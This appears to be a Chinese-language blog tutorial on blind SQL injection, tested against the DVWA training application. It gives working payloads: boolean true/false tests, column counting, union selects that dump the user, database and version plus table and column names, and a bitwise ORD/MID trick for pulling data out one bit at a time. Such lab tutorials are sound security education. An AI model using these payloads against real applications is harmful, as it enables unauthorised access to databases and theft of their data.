Loading... 之前的SQL注入是基于数据库返回的内建错误信息来判断的。但通常 web application 会过滤返回的报错信息。这时就可以使用SQL盲注的方法来检测SQL注入漏洞是否存在。 ######//以下的测试都是在DVWA下测试得来的 ##检测漏洞是否存在 既然 web application 过滤了报错信息,那么我们可以换一种思路,利用逻辑真假的不同结果来进行判断。 要利用逻辑真假,首先需要找到一个返回为真的数据。 如输入 ```sql 1' and 1=1--+ 1' and 1=2--+ ``` 若二者返回的结果不同,则证明存在SQL注入漏洞。这时候就可以仿造之前的测试语句来进行注入了。 ##盲注利用 盲注的利用和正常注入差不多。这里举几个例子对比一下吧。 ###基本查询 ####判断字段数 ```sql 1' order by 5--+ 1' order by 2--+ ``` ####查找字段对应关系 ```sql 1' union select 1,2--+ ``` ####查找数据库基本信息 ```sql 1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+ 1' and 1=0 union select null,table_name from information_schema.tables# 1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' # ``` ###无权读取information_schema库和拒绝union、order by语句 和之前一样的问题。大部分时候MySQL使用的用户不是root,而是另一个权限较低的用户。这时候我们就很可能无法访问 information_schema 库和 union, order by 语句之类的。 同样,也可以使用基于逻辑真假来判断是否存在SQL漏洞。 语句就参考之前的文章吧。 ##一些脑洞 如果返回只有真和假,那么可以通过二进制来查出数据库中的信息,或者判断一些信息的真假。 如以下指令: ``` 1' and ORD(MID((VERSION()),1,1))&1>0--+ //这里是和二进制个个位数进行与运算,从而查出整个数据 //可将version换成其他函数。如CURRENT_USER()̵DATABASE() ``` 其中两个函数解释如下: ``` MID(ColumnName, Start, [Length]) //从 ColumnName 里面第 Start 个字符开始截取 Length个字符 ``` ``` ORD(string) //将 string 转换成ASCII码 ``` 最后修改:2019 年 07 月 03 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏